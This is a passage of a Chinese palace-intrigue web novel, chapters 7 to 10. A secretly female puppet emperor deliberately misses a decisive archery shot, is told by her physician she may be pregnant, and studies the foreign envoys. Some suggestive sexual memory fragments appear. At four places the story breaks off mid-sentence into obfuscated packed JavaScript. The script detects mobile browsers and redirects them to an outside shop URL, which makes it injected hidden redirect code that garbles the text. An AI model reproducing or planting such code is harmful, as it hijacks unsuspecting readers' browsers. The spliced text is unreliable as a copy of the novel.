《江山遍地修罗场》 7. 第 7 章 言怀真是朝堂上少见的第三类人,游离于权臣派和保皇派,专注本心,不参与任何派系斗争的纯臣。 她父皇离世前两年,言怀真被保举为大理寺卿,后来也不知发生了什么,他辞去了大理寺卿一职。 本该离京辞仕,但在他之前的那位寺卿,也就是后来升任吏部尚书的柳尚书,一再劝阻。又听说信王对他十分赏识,有意提拔。 兜兜转转,起起落落,最后留在皇城做了掌管典籍图册的秘书监。 赵锦繁实在不知道言怀真做了什么对不起她的事。她装作酒醉健忘的样子,向言怀真试探着打听:“哦……那晚啊……那晚发生什么来着……” “那晚……”言怀真看上去似乎有难言之隐,一副羞于启齿的样子,“我……” 好半天他也没说出个所以然来,赵锦繁也没继续追问。 她懒得再回麟德殿应付昭王和衍王,索性借口醉酒回了寝殿。 回到寝殿,如意已备好了洗浴池水。 赵锦繁褪去里衣,抬脚迈入池中。她靠在池壁旁,问起守在一旁的如意。 “年初我曾召见过言怀真,你还记得那晚发生了什么吗?” 如意回想了一番道:“这个奴婢也不是很清楚,那晚我并未守在您身边,只不过……” 次日一早,她在龙榻上看见了好些需要换洗的床单被褥,那些床单被褥上满是令人难以启齿的痕迹,当时陛下叫她什么也别问,只当不知道这回事。 “只不过什么?”赵锦繁看向她。 如意摇了摇头:“无甚。” 赵锦繁叹了口气:“罢了。” 或许不是什么重要的事。 如意拿起柔软的丝绸缎子替赵锦繁擦发,犹豫了许久后道:“您明日要去见少将军吗?” “是啊。”明日是她和楚昂约好再见的日子。 “或许您可以问问少将军,那晚他也来过您的寝殿。”如意斟酌着道。 * 次日早朝过后,赵锦繁如约到了西郊校场。 今日的校场格外热闹,除了来赴约的楚昂,她那两位远道而来的兄弟昭王和衍王也在。 这也不奇怪,她那两位兄弟一向记仇,当年逼着她在人前展示骑射技艺,奈何有楚昂护着,没能得逞。 如今没了楚昂相护,凭她那如烂泥一般的射艺,怎么也得在人前出个大丑,这种热闹他们怎么能错过呢? 除了昭王衍王,还来了另外一群人。 “陛下万安。” 校场北面乌泱泱站满了以沈谏为首的权臣派。 礼部尚书张永躬身上前一步道:“臣等听闻陛下今日与楚将军有约,特来此地为陛下呐喊助威,今日陛下定能在此一展雄风。” 赵锦繁嘴角抽了抽:“诸位爱卿真是有心了。” “什么呐喊助阵,分明和我们一样都是赶来看笑话的。” 衍王没忍住把心里话说出了口,被站在他身旁的昭王狠狠瞪了眼,吓了一个激灵,恹恹地躲到昭王身后。 权臣派对面还站着一群保皇派。保皇派诸臣个个咬牙切齿,义愤填膺,无奈小皇帝实在是个扶不起的阿斗,要不然他们必定群起而攻之,哪怕用唾沫星子也要淹死这帮虚情假意的狗贼。 言怀真一向不爱凑这种热闹,今日也来了校场。 楚昂自人群中瞥见言怀真,目光陡然投射出一股攻击之意,他回头看向赵锦繁,眼里带着不满:“他怎么也来了?” 赵锦繁:“……”瞪她做什么,她也不知道啊! 楚昂哼了声,随手抄起一旁的石弓,甩给赵锦繁:“来吧,让我看看这些年,陛下射箭有没有长进。” 赵锦繁手忙脚乱地接过楚昂抛来的弓,抬臂试了试弓弦。 大周的箭靶有十环,射得离中心越近,环数越高,射中靶心即射中十环。 在十丈开外观战的权臣派中,有人问起:“你说陛下有几成把握能正中靶心?” 说话人语气中带着几分戏谑。 保皇派立刻有人回道:“陛下既然接下挑战,定然有几分把握。” 话虽如此,但此时此刻保皇派诸人个个面色凝重。 自方才起就一直躲在昭王身后的衍王,微微探出身,在昭王耳边小声道:“就老九那水平,别说正中靶心,就是能射在五环以上,那可能性也是微乎其……” 微乎其微的微字还没被衍王说出口,忽从前方传来“嗖”一声,紧接着又是“噌”地一声,赵锦繁射出的羽箭稳稳落在了靶上。 众人循声望去,只见羽箭恰恰好就落在第五环上。 衍王脸色难看,强笑了一声,替自己挽尊道:“运气,这一定是运气。” 权臣派诸臣也是这么想的。偶尔射中那么一次靶也不奇怪,更何况还是五环,算不得什么好成绩。 正如是想着,赵锦繁很快又射出了第二支箭。 底下群臣的目光随着那支羽箭而动,当箭落在靶子上之时,诸人脸色皆变。 “八环!” 身为保皇派中坚力量的薛太傅眉毛微扬,脸上带了几分雀跃的笑容。 另一侧权臣派诸人面上笑容有些挂不住了,射中一次也就罢了,怎么还越射越好了? 昭王冷笑了一声,显然心情不佳,没好气地瞪了衍王一眼:“十弟,你今早是食粪了吗,怎么嘴这么臭?” 衍王:“……” 楚昂递给赵锦繁最后一箭,颇有些刮目相看:“还不赖。” 赵锦繁笑道:“自然是比从前长进许多,运气好的时候,倒也中过那么一两次靶心。” 事实上,只要她愿意认真射箭,大约有八//九成把握能射中靶心。 她母妃出身将门,幼时久居雁门关,极精骑射一道。据说当年父皇就是看中了母妃骑射时的风姿,才招了她入宫为妃。 母妃一直着意将自己一身本事都教给她。只可惜她从小资质“愚钝”,怎么教也一副领会不了的样子,不比各位皇兄继承了赵氏祖宗的铁血,个个能骑会射,得父皇赏识,有望继承皇位。 赵锦繁打算一会儿射中靶心后,将一切都归功于运气以及那帮特地前来替她呐喊助威的大臣,台词她都想好了。 “多亏诸位的鼎力支持,给了朕前所未有的信心,否则朕今日也不会这般顺利。” 不知道权臣派那帮人听到这番话会不会被气死。 他们会不会气死,赵锦繁不知道,反正她那两位远道而来的兄弟,肯定是要气死的! 这么想着,赵锦繁煞有介事地拿起最后一支箭。 沈谏一直坐在高台上看着底下动向,他垂着眼,若有所思地对薛太傅道:“听闻太傅从前有位极有趣的学生。” 薛太傅对沈谏的感情十分复杂,他既欣赏沈谏的才华,又扼腕于他这些年的所作所为。但总得来说他对沈谏还是惜才的心情更多一些。 因此尽管如今身在不同阵营,听见沈谏朝他说话,他还是极为和气地回了句:“你说的是哪一位?” 他的门生遍布朝野,要说有趣的可不少。 沈谏笑:“就是夸赞前朝孝景帝聪慧过人的那位。” 薛太傅默然,目光落在正拿着弓箭瞄准靶心的赵锦繁身上。 前朝孝景帝是前朝开国皇帝的独子,年幼时接替其父继任皇位。他在位时,整日沉迷于玩乐,对国事漠不关心,胆小怯懦,傻头傻脑,一直为后世之人诟病。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477582|141942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>但他那位学生却不这么认为。 “皇位到孝景帝手里时,前朝已逐渐走向衰败,商贸萎靡,又频频有他国进犯。冰冻三尺非一日之寒,国家变成这副样子,责任不在他一个年幼稚子,他无力扭转局面。再者,自他父亲故去后,他的叔父和老师共同辅政,主少国疑,大臣未附,百姓不信。” “那种情况下,若是聪明点,说不定早就被不轨之人视为威胁,英年早逝。相反‘笨’一点反倒能让人放松警惕,坐观山虎斗。您瞧瞧,大家都说他蠢笨,可前朝却在他在位时逐渐繁荣,他还能在八十岁寿终正寝,这不是本事吗?” 在场的权臣派开始骚动,看这架势,小皇帝该不会真能射中靶心吧? 今日一早西市最大的进财赌坊开了一个赌局,赌今日小皇帝能不能成。权臣派中有不少人都下了重注,压小皇帝不行。还想着这不是老天爷送钱给他们花吗? 他们敢说,保皇派那群老不死看上去忠于赵氏,私下也有人压小皇帝不行。不是他们不相信小皇帝,而是太相信了,相信小皇帝他根本不行! 可如今看来,这赌局似乎有点悬…… 说起来,那会儿大家都压了“不行”,但有一个怪人下了一万两重注在“行”上。 当时大家都骂他傻子,可现下一想,富贵险中求,这小皇帝要是真“行”了,那人可不得几辈子衣食无忧。 赵锦繁握着弓箭,视线停留在箭靶上。 春风骀荡,她的余光瞥见楚昂被风拂过的碎发,猛然间回想起小时候的楚昂。 十分的意气用事,十分的看重感情。 他是个从不在他人面前露怯的人,唯一一次险些落泪,是对着他父亲离去时的背影。 赵锦繁抿唇,只要射中这一箭,就能让楚昂去他父亲的寿宴,如此一来便能笼络定国公,让以他为首的保皇派看见她的诚意。 赵氏衰落至此,皇室宗族需要她这一箭,成败在此一举。 她的目光凝聚在箭靶正中的红心上,心在这一刻无比坚定,松手放箭。 身在校场的所有人呼吸一滞,紧接着众人悬着的心,在箭矢脱靶落地的瞬间有了结果。 赵锦繁看着掉在地上的羽箭,难为情地笑道:“我还以为今日运气不错能中呢,果然还是差了好些火候。” 楚昂盯着她一言不发。 不远处,权臣派诸人捏了把汗,他们就知道,小皇帝还是不行,这下钱袋算是保住了。 保皇派的臣子们说不失落是假的,不过也看得出来小皇帝尽力了,起码也射中过八环了,说出去他们也不算失了面子。 昭王和衍王见最后结果在自己意料之中,满意离去。 所有人中只有沈谏脸色极其难看。他一向喜怒不形于色,脸色能难看成这副样子,实为罕见。 早知如此,他就不该开什么狗屁的赌局,小皇帝这一箭,把他这两年搜罗的钱全给赔光了。 如意有些意外,走上前替赵锦繁披上披风,悄声在她耳边问:“您不是说要假装不小心射中靶心的吗?为什么……” 赵锦繁回了她一句:“如意,强迫别人去原谅过去带给自己痛苦的人,得不来任何一方的人心。” 箭都射完了,各路人马逐渐散去。 楚昂也不打算多留。他骑着马正要走,赵锦繁忽从身后叫住他:“子野。” “陛下还有何事?”楚昂语气淡淡的,听不出情绪。 赵锦繁朝他笑了笑:“今晚若有空一起饮酒赏月。” 顺便她还能问问他那晚的事。 楚昂低头拉紧缰绳,嗓音隐忍着某种复杂情绪:“你难道忘了自己对我做了什么吗?怎么还能当做无事发生一样邀我饮酒?” 8. 第 8 章 赵锦繁对失去记忆的三年里发生过什么,一点线索也无。她实在记不得自己对楚昂做过什么?以至于楚昂此时此刻会用一种极度羞耻和气愤的眼神看着她。 她很想开口询问清楚,但依楚昂自尊心极强的别扭脾气,此刻若是她问了,他非但不会告诉她,还会责怪她从不把他们之间的情谊放心上。 * 回到宫中,沈谏命人送来了一堆折子。 这些折子都是前阵子的了,自赵锦繁登基开始,各地送来的折子都会先给信王过目,等信王批阅过后,才送到她这来,全当走个过场。 即便如此,在其位谋其职,赵锦繁还是坐在书案前,一一仔细翻看。 这一看便看到了掌灯时分,夜幕低垂,紫宸殿内燃起点点灯火。 灯火迷离间,困意席卷,赵锦繁放下折子,揉了揉眉心,正要低头继续看折子,恍惚间脑海中闪过几个陌生的片段—— 凌乱的书桌,撒了一地的奏折,忽明忽暗的烛光,她被人抱着仰躺在书案上,被折曲的腿无处安放,乌黑的发丝顺着桌角滑落。 耳畔恍惚传来男人低而沉的呼吸声,她想开口说些什么,可话还未说出口,就被那个男人撞了个稀碎,从嘴里溢出的声音断断续续,语不成调。 砚台自书案上掉落碎裂了一地,墨汁混着别的水迹,融入青石地砖缝隙里…… “陛下!陛下!” 如意的喊声将赵锦繁游离的思绪拉了回来。 她回过神来,额间渗出一层细密的汗,书案上的折子,砚台变得令人不忍直视。 赵锦繁扶额闭眼。 她脑子里怎么会冒出这些奇奇怪怪的画面,这些画面的每一幕都似真实出现过一般。 且类似的画面也不是第一次出现在她脑海中。 上回是她趴在窗前……每次她都看不清那个男人的脸。 “陛下,您怎么了?”如意关切的声音传来。 赵锦繁抬眸:“无事,许是有些累了。” 如意忙道:“尚膳房备了些您喜欢的小点,可要用些?” 赵锦繁应道:“也好。” 不多时,宫人们端着鲜切林檎,油亮的嫩笋,蜜渍香菱马蹄,并撒了干桂花甜香四溢的莲子羹进来,光看着就叫人食欲大增。 如意站在一旁侍菜,夹了片笋到赵锦繁身前的小蝶中。 “初春的笋最是鲜嫩可口,这笋子先用盐腌制过,再用香油一煎,将其中滋味都调了出来,最是开胃,陛下您先尝尝。” 赵锦繁没什么胃口,但不想让如意担心,夹起一片笋。 正要启唇,先嗅到了笋子上的油蒿气,忽觉一阵反胃。 她放下筷子,跑到窗前,推开窗,扶着窗框干呕。 如意忙跑过去扶她,递上擦嘴用的丝帕:“您还好吗?” 赵锦繁接过帕子,压了压嘴角:“最近总觉得脾胃不适,本以为休养几日便好,却不想这几日吐得愈发厉害了。” 如意皱起眉,匆匆跑去御药局把江清找了过来。 江清出身名医世家,自小聪颖好学,熟识草药习性。家中父亲兄长因她是女儿身,不看好她学医。 她也硬气,为了学好医术,毅然离家求学。她原先行走在市井替人治病行医,几年前为了更好的钻营医术,女扮男装考入御药局。 她平日里看上去一副不着调的样子,实则医术高超,精通医治各种疑难杂症。 赵锦繁做废柴皇子之时,机缘巧合之下,救过她一回性命,两人自此结下了不解之缘。 自登基以来,赵锦繁的脉案都经由她手,可以说她之所以能不被识破女身,平安做这个傀儡皇帝至今,她有极大一份功劳在。 * 夜色浓稠,江清提着一只大药箱,紧跟如意,风尘仆仆赶到紫宸殿。 她急走了一路,口渴得很,大药箱子往桌子上一放,便道:“水!” 赵锦繁捧了盏她平日里最喜爱的杏子茶给她,挥手屏退身边服侍的宫人。 如意看着屋内宫人陆续出去,随后关上房门,守在门外,只留赵锦繁和江清两人在屋内。 江清咕嘟咕嘟喝完一盏杏子茶。 “我听如意说,您脾胃不适?” 赵锦繁点点头:“也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477583|141942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不知是不是无意中吃坏了东西,这些日子总觉得想吐又吐不出来。” “这样啊。”江清抬眼看了看赵锦繁脸上气色,“除了想吐,还有其他症状吗?” 赵锦繁回道:“动不动就困乏得很。” 江清继续问:“这种情况有多久了?” 赵锦繁答:“有好一阵子了吧,自失忆起就这样。” 江清眉心微蹙,伸出指尖探向赵锦繁的脉,越摸她的脉,眉头皱得越紧。 “陛下近日可有来过月信?” 赵锦繁思索片刻,摇了摇头:“未曾,你知道的,朕的月信一向不大准。” 听到“未曾”两个字,江清心猛地一沉,心底仿佛有了答案,但兹事体大,她也不敢妄断。 赵锦繁见她神情不对,忙问:“这病很严重?” 江清努力让自己先冷静下来:“这……您没病。别的倒无大碍,只是有件十分要紧的事,我需要再回去翻翻医书,仔细确认一下,或许是我哪里弄错了。” “无大碍便好。”赵锦繁松了口气,全然没留意江清说的后半句话。 江清叹了口气道:“您需好好静养,这几日切莫过度操劳,早些休息为好。多学学您从前的样子,能偷懒时且偷懒。” “知道了。”赵锦繁笑道。 江清提起身旁的大药箱子,道“若没其他事,我得赶紧回去翻医书了。” “等等。”赵锦繁叫住她,“还有件事。” 江清:“怎么?” “我最近脑中总会冒出些奇奇怪怪的片段……” 江清好奇:“什么片段?” 赵锦繁一噎,怎么也没办法描述那个画面,脸涨得通红,支支吾吾好半天,没说出一句话来。 江清推测:“或许是您回想起了失去的那段记忆也不一定。” * 深夜,赵锦繁辗转反侧。 脑海中时不时浮现起一些关于从前记忆的片段。 这回的片段是她扯着那个男人的衣领,踮起脚尖在他唇上印下自己的牙印。 完事还十分不要脸地问他:“喜欢吗?” 9. 第 9 章 对方没答,回应她的是一场疾风骤雨。 无法阻挡,而又奔腾不息,猛烈侵袭着她身上每一寸皮肉,外的里的,深的浅的,哪都不放过。 他的五指没入她乌黑长发,扣着她后脑勺,埋头深吻。 她目光迷离,余光望见不远处屏风上映着她和那个男人交叠的身影,小腹一阵接一阵发酸发胀,这种冲击煎熬难耐,似浪潮一般在她心海来回激荡,搅得人整夜天旋地转。 赵锦繁蓦地从记忆中清醒,大口喘气。 如意听见动静,匆匆掀开珠帘进来,见她脸色苍白。 “可是魇着了?” “嗯。” 赵锦繁直起身,抬手伸入被褥,皱眉捂住小腹。 不知为何,小腹隐隐泛起不适,和方才脑海中浮现的片段里那种酸麻全然不同,是一种坠坠的刺痛。 许是月信将至。 窗外晨光微露,卯时便要早朝,如意取来冕服替她换上。 如意一如既往地用束带缠住她饱满的前胸。 “陛下最近似乎丰腴了不少。” “是吗?”赵锦繁浑然未觉。 “是。” 本就比一般女子玲珑有致,这一下更难束紧了,如意只得用尽全力。 赵锦繁被束带勒紧得闷哼了一声。 穿戴好衣冠,如意扶着赵锦繁乘上御辇,去往宣政殿早朝。 宣政殿内,诸臣依次按照品级站着。 赵锦繁自高台之上向下望去,看清众臣百态。 定国公告假多日,今日依旧不在,保皇派们士气萎靡。 楚昂站姿挺拔,脸上仿佛写了“别招惹我”四个大字,周身透着一股子大周顶级世家子的傲慢骄矜。 言怀真恭谦有度,端方持重,神色一丝不苟。 权臣派的各位风头正盛,各个意气风发,除了沈谏。 沈谏面上血色全无,眼底一片青灰,那副样子活像是赌徒一夜之间输光家财,耗尽了精气。 站在赵锦繁身侧的福贵,一摇拂尘,照例喊一嗓子:“有事起奏,无事退朝。” 通常这个时候,身为权臣派之首的沈谏总也不忘要丢几个难题给她。 “臣有事起奏。”沈谏手执象牙笏,上前一步。 赵锦繁瞥他一眼:“沈卿且说。” 沈谏道:“过不了几日就是大朝会,届时周边各国都会派使团前来京城,此次摄政王不在京中,陛下独挑大梁,您少不得要与各国使团周旋,还请陛下早做准备。” 赵锦繁嘴角微微一扯:“这个自然。” 每年八方使团来京,都少不得要给大周带来不少难题。若是处理不好,或有损大周颜面,或引发两国争端。 高祖时,就曾因有外邦使团挑衅大周,而引发过一阵动//乱。 沈谏掩唇轻咳几声:“臣这几日偶感风寒,大夫说需好生静养,恐不能帮到陛下了。” 这是要作壁上观的意思。 赵锦繁:“那沈卿便好生将养着吧。” 行了,也没指望你,你不添乱就算积德了。 下朝之后,身为保皇派中坚力量的薛太傅,带着自己整理好的文稿,求见赵锦繁。 “这是微臣先前整理的一些有关周边各国的概述,陛下只要记牢这些,便能应付各国来使。” “有劳太傅。”赵锦繁接过文稿,低头一一翻看,眉心紧皱不解。 薛太傅见她神色,忙问:“可是哪里不对?” “倒也没有。”赵锦繁道,“只不过这些概述太过笼统,沈谏有心为难,恐怕事情没那么简单。” 薛太傅:“陛下不如去一趟藏经阁。” 藏经阁内典藏着各类珍贵书籍,其中不乏有详细记载了周边各国风土人情,地貌特征,及商贸特色的册子。 正所谓,知己知彼百战不殆,赵锦繁也是这么打算的。 藏经阁位于皇城西侧,赵锦繁去时,正是午后官员休沐之时,阁内安静得出奇。 她幼时逃课,时常躲在这里看些杂书,因此对这地方还算熟识,哪一块摆了那些书,她都记得。 很快她便找到了自己想要的书。 那册书极少有人翻动,被摆在书架的最上层。赵锦繁踮起脚尖去取,只勉强勾到书的一角。 “陛下,要的是这一册?” 清冽的嗓音自身后响起,清瘦的身影笼罩在她身后,赵锦繁仰头,正对上言怀真清澈精致的一双眼。 他细长的指尖轻轻一挑,就轻轻松松将最上层的书册取了下来,递给了赵锦繁。 赵锦繁怔愣了一瞬,不禁将他与那些不明记忆片段中,与她做尽不可言说之事的男人身影重合。 那个男人也似言怀真一般,高出她许多。 “陛下是想找关于周边各国的书籍?”言怀真的声音将她的思绪拉回。 “是。”她应道。 言怀真已离开大理寺,如今身为秘书监,掌管大周重要典籍和图册。 他径直走进藏经阁深处,从不同书架上取来了七八册书籍。 “此处书多且杂,眼下留给陛下的时间并不多,与其囫囵看个大概,不如精读这几册。” “多谢。”赵锦繁接过他手上那几册书,走到窗旁的书案前,静坐着翻阅了起来。 春日午后,柔和的日光透过窗纸,光影斑点般落在赵锦繁身上,如潋滟水光。 她头上只用一支素簪将发简单束起,微风吹起额角细小碎发,指尖落在书页上,时而停顿,时而比划,一双眼沉静而认真。 言怀真自几步开外望去,视角落定在赵锦繁纤长眼睫上,那片不停扑动的羽睫,如蝴蝶振翅般,一颤一颤划开心间层层涟漪。 他低头,随手取了本书籍,坐在离她不远处的书案前,翻开书页,却难静心。 不知不觉间,日落西山,天边霞光绯红。 赵锦繁合上书页,朝言怀真看去,唤了声:“言卿。” “在。”言怀真抬眸:“需要臣做什么吗?” 赵锦繁直言道:“言卿博闻多识,朕方才翻阅了各册书籍,在里头看到了些有意思的东西,想请教卿。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477584|141942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >言怀真:“陛下请讲。” 赵锦繁指着其中一本带图的册子道:“比方说这个名叫乌连的邻国,百年来一向与我大周不合,不过自五年前起,忽然开始给我大周纳贡,这般恭敬讨好的样子,实在与它过去大相径庭。这是为何?” 言怀真思索片刻后道:“五年前乌连王放话要踏平我大周西南边境,在这之前这位新任的乌连王已经连续攻破周边三国,气焰正盛,可惜他的运气并不是很好。” 赵锦繁好奇:“怎么个不好法?” “西南从前是信王的地界。”言怀真话说到一半,未再继续说下去。 越是如此,赵锦繁愈发觉得可怖。 她对自己这位仲父的记忆,少得可怜。 思及将来免不了要同其交锋,赵锦繁向言怀真询问道:“在言卿眼中,仲父他老人家是个怎样的人?” 老人家? 言怀真默了许久,道:“信王是个极为纯粹的人。” “这样啊。” 别的赵锦繁不甚清楚,不过可以想见,信王必定财力雄厚,否则怎么够贿赂沈谏这样的巨贪站在他那一边。 不过眼下比起信王,应对各国使团的事更迫切要紧。 赵锦繁指着一册书道:“朕方才查阅了历来各国使团访周记录,最难对付的使团非东瀛与北狄莫属,依言卿所见,东瀛和北狄哪方使团更难应对?” 言怀真眉头深锁:“恐难分伯仲。” 赵锦繁追问:“怎么说?” 言怀真解释道:“我大周国土所在之地数千年来一直被称为智慧生根之所,无论是数独、文章、商贸四海八方无有他国能及得上,哪怕现如今的大周不如百年前兴盛,依然是鹤立鸡群的存在。” “东瀛人好斗智,每回来使大周,都会出些刁钻的难题与我大周机辩,这几年为了赢过大周,手段愈发卑劣。” “至于北狄,土地贫瘠,出产不了稻米,其子民多以牧马为生,因此北狄人擅长御马,骑兵骁勇善战,四处争战以求扩大国土。历经百余年,由原先西北不起眼的一隅之地,成了如今实力强劲的大国。” “前朝昏君为求自保,将灵州、云州等十余座城池割让给了北狄,这些城池居我大周要塞,若不将其夺回,等同于被人扼住了喉咙。太//祖入关之时,虽夺回了几座城池,但最重要的两地,依然还在北狄人手里。” “多年来,大周与北狄争斗不休,不过十几年前,先帝与老北狄王议和,两国休战至今。虽签了议和书,但近年来边关小规模冲突不断,尤其是老北狄王过世后,新继任的北狄王一直对中原腹地虎视眈眈,不断试探大周底线。” “北狄人狡诈,既想毁约,又不愿背上毁约的恶名,想尽办法逼大周先毁约,故而此次他们前来参朝,免不了要生事端。” 赵锦繁垂眼,静默深思。 言怀真侧目:“陛下在想什么?” 赵锦繁的目光落在记载着新任北狄王生平的那一卷:“我在想,这个新任的北狄王实在是个有意思的人物。” 言怀真:“嗯?” 10. 第 10 章 赵锦繁正要开口解释为何她觉得这位新任的北狄王有意思,小腹忽然没来由的泛起一阵不适。 她蹙眉抿唇,抬手按在小腹上。 自昨夜起,小腹便总觉酸胀,白日里事忙,心思都放在要如何应对各国使团的事上,倒不怎么察觉,现下这种隐隐的不适感越来越明显。 如意赶忙上前:“陛下,天色不早,我扶您回寝宫歇息。” 赵锦繁点了点头,而后朝言怀真道:“抱歉,言卿,朕有些许不适,此事改日再议。” 言怀真应道:“好。” 如意搀着赵锦繁往藏经阁外的辇车走去。 春雨如酥,淅淅沥沥落下,空气潮闷。 赵锦繁胸口像积了一团棉絮,再加上小腹处一阵一阵酸意,整个人昏昏沉沉的,脚步凌乱,险些从辇车踏板上踩空,拽着如意往后倒去。 细密的雨水打在赵锦繁眼睫上,她蒙眬看见言怀真冲上前来的身影。 “恕微臣僭越。” “言书监!”如意眼睁睁看着赵锦繁往他身上倒去,来不及阻止。 言怀真紧守君子之仪,并未趁人之危,做出如意想象中的失礼之举,只是伸出一臂承托住赵锦繁,待她站稳后收回手,退守到一旁。 “雨天地滑,还是容臣送陛下回宫。” “好。”赵锦繁身体确有不便,没有拒绝他的好意,“有劳了。” * 雨夜,屋檐下积聚的水珠滴滴答答落下。 御药局内,江清埋首在一大堆医书之中,查了整整一天一夜。 徐老御医瞥了眼自己的得意门生:“你怎么看这些妇人怀妊的书,看得那么专注?” 江清抬眸,咧嘴假笑,随口编了个理由:“家中有位关系极好的叔伯,他与夫人成亲三年,好不容易怀上了孩子,看重得不行,托我多多照看。我在这方面经验不多,可得好好研习研习医书,不能把人给照看坏了。” “原是如此啊,那你可得用点心……诶,不对啊!”徐老御医指着江清道,“你不是说自己是孤儿吗?哪来的叔伯?” 江清扯了扯嘴角:“这不是失散多年刚刚相认嘛哈哈。” 徐老御医显然对江清离奇的家世不感兴趣,没有再追问,只道:“昨日你替陛下请脉,脉案还没写。” 江清心骤然一紧:“哦,陛下圣体安康没什么大碍,就是换季稍有些脾胃不适。我这几天手头忙,一时忘了填写脉案。” “你这小子粗心大意的,今日轮到你值夜,回头别忘了补上,别让人说我们御药局的人失职。”徐老太医叮嘱道。 江清:“是。” 徐老御医叮嘱完就下值出宫了。 江清长舒了一口气,不知何时出了一手心的汗。 她这一天一夜拼命地想找出自己昨日诊错脉的可能,可她越找越是证明她心中的答案没错。 其实早在赵锦繁失忆刚醒时,她就有所怀疑,只不过那会儿赵锦繁从马上摔下来受了伤,脉象紊乱,不好诊出。 不行,此事极其要紧,她得赶紧去找赵锦繁。 * 入夜,雨水渐停,皇城南面丹凤门前。 楚昂骑着马慢悠悠穿过门道,马鞍边上挂着两坛陈年佳酿。 若是换做旁人,是断不能如此悠哉地在皇城中骑马的。不过楚昂幼时很得先帝喜爱,先帝特准了他能在皇城随意骑马进出。 随从慕剑跟在他身侧:“您这是要去找陛下吗?” 楚昂轻哼了声:“谁说我要找她?” 慕剑道:“那您带着酒做什么?” 还不是因为昨日白天陛下邀他饮酒吗? 楚昂道:“你最好搞清楚,是她腆着脸,非要找我,不是我非要去见她。” 慕剑撇撇嘴,心中腹诽。 腆着脸?那也没有吧,只不过随口邀了一句罢了。人家只是勾勾手,你就又巴巴地跑去见人家了。 楚昂一副极不情愿又被逼无奈的样子,朝赵锦繁所居的紫宸殿而去。 一辆辇车从他身边呼啸而过。 辇车车身金漆银勾,车顶纹着赵氏的五色梅族徽,是赵锦繁惯常乘坐的那一辆。 楚昂透过被风吹起的车帘,看清辇车内乘着的人。 赵锦繁和她的贴身侍女如意,坐在一边的还有……那个表面看上去清冷持重实则不要脸至极的言怀真。 怎么又是他? 楚昂记起年初那晚,他去见赵锦繁时,正巧看到言怀真从她寝殿出来。 也不知道这人进去做了些什么,出来的时候匆匆忙忙,行迹诡异。 言怀真做了什么他管不了,但…… 赵锦繁凭什么见言怀真要比他先! 他这该死的胜负欲。 楚昂一拉缰绳,追上那辆辇车。 * 宫道上,灯火幽深,青石地砖湿滑。 沈谏缓步走在其中,绛紫色官袍随风拂动。 身旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13477585|141942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提着灯引路的小太监道:“相爷深夜入宫,可是有要事要寻陛下?” 沈谏摆弄着手里刚收到的信,笑道:“是,有件‘好’消息想要立刻告诉陛下。” 引路的小太监微微低头,隐隐看见信封上面深红色的印戳。 印戳正中似乎是个“荀”字。 他记得朝中只有摄政王恰好姓荀。 * 赵锦繁的辇车一路急行,在紫宸殿门外停下,楚昂骑着马紧随其后。 沈谏自宫道缓行至殿门外,最先看见的是骑在马上的楚昂。 “少将军,好巧。” 楚昂:“你怎么也在这?” 沈谏:也? 这么说除了他之外,今夜来这里的,还有另外人。 正在此时,言怀真掀开车帘。 沈谏笑:“今晚实在热闹。” 楚昂一见到言怀真那张脸,气就不打一出来,正要诘问他算什么东西,怎敢与陛下同乘一辇?转头却瞧见赵锦繁坐在一边,嘴唇苍白,脸上毫无血色,闭着眼眉头紧皱,一手紧捂着小腹。 他看向赵锦繁身旁的如意:“这是怎么了?” 如意也说不出个所以然来,急得团团转,抬头望见江清正背着大药箱子赶来。 “江御医!您快过来瞧瞧陛下。” 江清立刻上前探了探赵锦繁的脉。 沈谏问:“陛下如何了?” “无甚大碍,约莫是吃了些不好克化的食物所致。”江清神色淡淡,转头对如意道,“你先扶陛下进去。” 如意应是,立刻扶着赵锦繁进殿。 殿外几人互相看了彼此一眼,跟着进殿。 江清将几人拦在门外:“微臣要替陛下施针,还请诸位暂且回避。” 